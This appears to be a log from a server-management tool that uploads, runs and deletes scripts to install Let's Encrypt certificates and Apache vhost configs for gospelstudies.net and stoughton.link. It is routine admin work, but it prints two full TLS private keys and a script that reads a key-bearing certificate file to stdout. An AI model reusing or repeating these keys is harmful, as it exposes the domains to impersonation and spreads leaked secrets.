    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-21 06:00:59: 

PUT: /tmp/pkp297874

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-21 06:00:59: 

chmod 755 /tmp/pkp297874; /tmp/pkp297874; rm /tmp/pkp297874

2025-10-21 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt	5385
70:53:6a:5c:5d:92:b6:e9:0e:c4:3d:16:c3:50:58:c4

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBo1qOAyOzV88lC83bBn1ruWiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIxMDUwMjI4WhcNMjYwMTE5MDUwMjI3WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL165VVZ490YOKnwl1E25hBT+O3Sm6KOWj3nqt3Nx23aim8cnh7Jej8f1wMd
KRSimi3J4xiloOn2mKlGB1Dkyqk2ayXz3yXsxVdGYf0RY0PSWK0WKeqqYHBva9mB
go0HiFYIqfGNkWiub7iM7f48iVDbhBe/ws9GDGBcoev1cIwzUg4UqIyBzIaAzbyM
xFImtmdURd8WVmeWv/odzQ7vmaSA2mCA//EV7TJWZIHdsEfvaGbjjkVnwOtfWDlG
G+wiMmgOGsCxWHybkOf90SOqdy0d+eJy1oBt7tDOoVqhglPDC0h6n0XxjML/aHZ9
GYoaLzhUKIW6t5Hg3ck2ck/CfsMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU+1/LW7J7Sbc7HIl1ErpBq7Yly9AwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFnb3NwZWxzdHVkaWVzLm5l
dIIVd3d3Lmdvc3BlbHN0dWRpZXMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzUuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFV
Uvvp6ynd+MMAAAGaBVtBwgAABAMARzBFAiAayYuwMklbn45kNrsxLfj/manwDYAX
+q6b7ptGW1sTlgIhAMZm/V5ni+0ukJcmvBC+E4nq216NRSP/i8+r1nue6FN7AHYA
GYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGaBVtB1AAABAMARzBF
AiEAniy4+vMm8jZj56QqBFDB022T1zItD8miJO4djPk6Vv8CIFf3cKlPvNA88LC4
b2oPukONfp5olCOlcUIrMzLTfvOqMA0GCSqGSIb3DQEBCwUAA4IBAQAeTpwBckhG
gyQWURamJFqFRFzVjbZD3dHMcS73fv2ssICplYgznx9yRjWbS9kBtXenpqy5S/VC
bnsFQ4TzgzUIE4aUa26kACnQICt3hmSyqGYi8kYw9zsbX9VWRU+tMsSQ0J6LKsX4
6I3M+OWD+7Abpv6VF/+OncfUaG4VEzsg8A/7pyfkhZq/SchZcVURhvzcpZ2v1svl
i1ARrKr4ml7rob8/OPKFWyvZCs00uG5B/AtDbaZCr/6eUW+ffTQEPJvzTIE9xLlY
OY+80n1pzJZ9ZqSZqV2nEQ1BxIYoEevSirdUWxbSik94ST6oFjL9nfBJOCbHJrBl
Q3YnMrzuZs0C
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9euVVWePdGDip
8JdRNuYQU/jt0puijlo956rdzcdt2opvHJ4eyXo/H9cDHSkUopotyeMYpaDp9pip
RgdQ5MqpNmsl898l7MVXRmH9EWND0litFinqqmBwb2vZgYKNB4hWCKnxjZForm+4
jO3+PIlQ24QXv8LPRgxgXKHr9XCMM1IOFKiMgcyGgM28jMRSJrZnVEXfFlZnlr/6
Hc0O75mkgNpggP/xFe0yVmSB3bBH72hm445FZ8DrX1g5RhvsIjJoDhrAsVh8m5Dn
/dEjqnctHfnictaAbe7QzqFaoYJTwwtIep9F8YzC/2h2fRmKGi84VCiFureR4N3J
NnJPwn7DAgMBAAECggEAEk6ZcdGpjmcUsnaoaBRhzhoO5wt+NgqC9ZA4lg2Xwylm
Tq35KQhWY1r0LzzWB0RemSX0ZyE5luFYhqJZeptgaVD0sUoKuWNS/cezF/xiFt9v
6elGS4ICp1pclTtKHc4oggd8Q/ZlojOYX8BeDj5TFhjfflvsupIOCBFrI50nLqRs
Ld7ZFyAZdXejt/RorE4UVEZ/EkuQdBi+5tw+EJCxH2uWWWL2QjwQPGnJZs2F+YU0
c0Vh7gOVFAVHw5/T0i4V8ME3eJp4Z8aKpJhGWdc85H4bhE3RZaIIdDaOmxRBYYo0
F9IDgfr8ge8nrMqbFT9mpPvtE34vnKYuU9l13r30YQKBgQDdZl9Spe9Sz0ahErY1
2F95wCPvmM4z9RDUGpmeyK96xPU8bhT3fj7+Gyqczx/wWG1oAU7bwSuttgff1+5k
1+HmLHREQrTi/c17LaaOAFhwObAEV31vS36K0AGWcke7y9OJUqKynXMpc4lzR9Sz
0REhiWUUZLIanafHGprWK61w7wKBgQDbF363f6vXcvAPP0K4fltYX5hZJ0l6mPat
83E46kh2MlEA4RCtMO0ms8tSlyF/nEGO2fGjBBe5oevGSrf1vqAHtg5EEENAMwBx
dQHq6n46OfqnVdxuBWm6G6+oWuSsQpNDIb7iocMt5/mIBkw5GC/exPxBmGlbV+5B
IcKDtpsnbQKBgDPNTiRiWtq/UMFDRYrXs48jG8VltWmGv4dBKgxy3EwXZWHcR9+Y
lFiUNqY1+D0eE4swMylLy1J7st/2//psYJigchu+l+A8jiVyCvRStF6dwMdjSSAP
Q+5quNRgrNQN3tLUmOi92kIqnFBy0Bu6oQ19vj7FSL7dgHIfkXbnBU/VAoGAGsY3
RSOEE5NHRQW9GKDQdu9Pxe1oLGRPGRj8CDGRY2hov8vBZvjosmccfN5dSKQG2vdF
cV+JqrTgBF6TNqPyGJ8mBSlbnpfdAQCEmHnJrUHyoMp8YrGkpwrFH7Tj5y1Ho9eW
5UlReeW0d+wVGpEbIIVAMp/2mCQZyLngdIo3Uc0CgYBZf1ekIdZx4f+9B5lxzmxp
NNMw2DpfeeYHKVrwk8bn8AaidsoF2ntsEO+shiGI5h9Ayl5R2Ld8r8nN2rE2a41/
+RWQOeCPplzHsbq3lKRS4g1eK+r188pnMK8R/FJXnZ7kv6/veWVHmCSM9aj6J36R
LwJaChF7pGHpu0YpLq+SAg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-21 06:00:59: Establishing a connection
2025-10-21 06:01:00: Establishing a connection
2025-10-21 06:01:01: 

PUT: /tmp/pkp272453

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-21 06:01:02: 

chmod 755 /tmp/pkp272453; /tmp/pkp272453; rm /tmp/pkp272453

2025-10-21 06:01:02: 


0


2025-10-22 06:00:03: Establishing a connection
2025-10-22 06:00:03: Establishing a connection
2025-10-22 06:00:03: 

PUT: /tmp/pkp374015

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-22 06:00:05: 

chmod 755 /tmp/pkp374015; /tmp/pkp374015; rm /tmp/pkp374015

2025-10-22 06:00:05: 


0


2025-10-22 06:00:31: Establishing a connection
2025-10-22 06:00:31: 

PUT: /tmp/pkp263401

#!/bin/bash
temp_file=$(mktemp)
TARGET=b6da5a1697afd075a41d62112290ebf0.crt

cat > $temp_file <<'endmsg'
d5:b1:12:2f:a9:a2:96:cb:c0:d0:53:1d:e4:67:d1:be

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBYz76/GlmWUyEDCA24s67zcHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMDUwMjAwWhcNMjYwMTIwMDUwMTU5WjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMdJKhtDCNP00KgttwdMU+bdv7rSPUoQvrF7UTffqyGu4gf+rGw+/o2bG+zdjSrg
CDZ4FJ4cI/p9A0NNF5WWrqUar0JFLX1BrDEN8f9ZHphraeAX8OUtNZ1wt9qbTrTA
hdkKrbETShHGSTiT9HF1b1Yu8+F/I/Z48uvTVEoM3TAhoyMviHzp2PSE0u3BTdw9
VplWuCMOAvGDReWpA+zmt8GPyQ52dA7V2W3Ze+mMVbdXE9nw7O58s6hkx0MRJgtI
9KqWpMiQFxjkWouoTJ8Fa2jnUyIIKpioTskWM6eHCCXpn2O3vSCWMwnbSiBWO3En
pQJzpY51ED71bL0SgCIhymMCAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUVuiArpVICqLIKLMHS6uD8607YK4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnN0b3VnaHRvbi5saW5rgg5z
dG91Z2h0b24ubGluazATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzguY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGa
CoE0LAAABAMARzBFAiBRY656vMdzpDyCJPM41MmUSS/2aLuivDG/oPbvWZKxCwIh
AMjEAAYhPP5U8FfiOhA6lMqqY1WkPul2aO2C3VsUK/5gAHUASZybad4dfOz8Nt7N
h2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGaCoE0LAAABAMARjBEAiBFKUbnNh4/3oHY
Spt/uLT39tCZYveGWCLygeerQH2J7AIgSmmWrxVt6PQgUkHWK/QRA3sAFjgJa3fW
nI3P3c3f9PMwDQYJKoZIhvcNAQELBQADggEBABU2L3MkY7WllsMxgWU8xW9ashGl
duJX6ZfuuVV6wTwtRwJy09p13fFWXOr2VT1BRJLP0B1E8VtisjYURNGAUrWLP/3i
mLUySOvFs1vWik9jJYg55ZJTYYN2EroWxxZihxceeXHuOp2wMvF083YilBJMqiXp
GGgCPKUeq0wQWkqFp5w4e/HEqie4XcjncPSiX8tGjZO14zGRrUE/EQzuL3+QxuJh
pNSsPQgSlR2bFwYRwO73gCb6IsApSr/jz+8bkaGF1VkO+1DlUP+Ni6jHmRCQbXiv
RsbmZjCMcGQEz3+9Avx+Je7HkEo5+Kp9aSyppcSlB0fuH3UrOdtjSjKyHrw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHSSobQwjT9NCo
LbcHTFPm3b+60j1KEL6xe1E336shruIH/qxsPv6Nmxvs3Y0q4Ag2eBSeHCP6fQND
TReVlq6lGq9CRS19QawxDfH/WR6Ya2ngF/DlLTWdcLfam060wIXZCq2xE0oRxkk4
k/RxdW9WLvPhfyP2ePLr01RKDN0wIaMjL4h86dj0hNLtwU3cPVaZVrgjDgLxg0Xl
qQPs5rfBj8kOdnQO1dlt2XvpjFW3VxPZ8OzufLOoZMdDESYLSPSqlqTIkBcY5FqL
qEyfBWto51MiCCqYqE7JFjOnhwgl6Z9jt70gljMJ20ogVjtxJ6UCc6WOdRA+9Wy9
EoAiIcpjAgMBAAECggEAck6mJ0L5ElKPSJgILth6G6c/7VHgM9aM+tJoEKtrxoNA
RSOwFNrBOcopZ2DhMyGTtGKGOPadMHV6ZKUYjQYEINHAizuQzxLXSL/d+gBNS1H5
Rb+Vvm6DHU5lNq/0ojr3yzmTzUjqKG3a2+gJwvaAKSf/XW2G3D4d4GS0KVFdodf0
8x8ObeTIx7C8ry0eqSS5JfoL7Zb8lB/ylW9ZY8Rt+i+9OQp8+WdWSlC7olF7zIkG
kKh4ONBmjFLV4bNHj90Fpk5731qQ4gdqJJHJ7ReTHCcB3ta0p2ofPyN2PjOXr+Zn
0ACdvwkN9HJO3/wGqObVfufh/+JVRLt+wzaJXHTOYQKBgQD6bYHlDUBBDHou67tX
qxtnK1AYyWSJNMcTxDK9p9UZwHcMC9QVIGYAwpd0J2cdJ1VNapRBcL0x0YjV3wzU
rqf0Q6K5Qr3JjTXqU9LRVg1+SlZhg8yLiXlRIp4afUVhcUlxzkie0IYntIaY0jEt
ge9oYr9VhXDswAOcLLG8uPQa0QKBgQDLuFdLs5QcD46qks7nHonLdDAOVmvEiEJp
fNyCb8UGeXYDl5LyHOZ+pelshVf544AdvkAb5b+Q5f0ZoM9VSJNs62VAzqcouBoX
hd8tBFNdWHcXpZ/x6SFIyOc3fi+M8/ySvSCgXk3VLrctvPeCuNgaJxZdncESRAnZ
45iKkRB28wKBgFoy2SdcB3mmedeulnK0MZGOWzIiT7DPrqii8Te4XJwC454WIJRf
b/30GMMAcjZg9WuF6NJNPgfUlbmati9gnSPwvIqHzH3s+69j87nsib2kHsrOwvy7
TlP36QRXfIblW/O+vg9dwgRJFHW0t3vRoh5x+sJd5tePLX2x5263G00RAoGAVvjV
M/lvsuclZkcU0/DirRxmY8iba6UsjTKERZ+IAvKZ4oC0eG7ELK+STwVCgOmSSaBu
aDqWpTq66lUQDv3UCr0YVimjjavDX+WEWQiuunxJI6xO840u647xv2w8yrVjUBY0
NqLsIaY3B+zT0lgt0kR7tO3jfnPTrNUQy5+Q4ucCgYEAjHsuBIdxHS7+qhHr+93m
LcIqqAkr4fdUITdCB1uRNrofPbMe+saaqSrcoOJpW8tzqa8NJ0d1DmVgkmw+e5v0
PHkKapnESv6c97ybaaUtM5NhwtdjSbN6LE+HYMx/8+tbGQZ3AQKorStfVfFKLI+N
ez4APeuMzJ/5xxy8K+4W3aw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-22 06:00:31: 

chmod 755 /tmp/pkp263401; /tmp/pkp263401; rm /tmp/pkp263401

2025-10-22 06:00:31: 


dir=/etc/ssl/certs


2025-10-22 06:00:31: 

PUT: /tmp/pkp211485

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/stoughton_www_link.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-22 06:00:31: 

chmod 755 /tmp/pkp211485; /tmp/pkp211485; rm /tmp/pkp211485

2025-10-22 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf 42
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>






2025-10-22 06:00:31: 

PUT: /tmp/pkp705470

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=stoughton_www_link.conf
TARGET=/etc/apache2/sites-enabled/stoughton_www_link.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.link
    ServerAlias	*.stoughton.link
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
    DocumentRoot	/var/www/stoughton_www
    <Directory /var/www/stoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/stoughton/www_secure_access.log combined
    ErrorLog	/var/log/apache2/stoughton/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/stoughton_www_link.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf= 1'
fi


2025-10-22 06:00:31: 

chmod 755 /tmp/pkp705470; /tmp/pkp705470; rm /tmp/pkp705470

2025-10-22 06:00:31: 




2025-10-22 06:00:31: 

PUT: /tmp/pkp512596

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-22 06:00:31: 

chmod 755 /tmp/pkp512596; /tmp/pkp512596; rm /tmp/pkp512596

2025-10-22 06:00:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


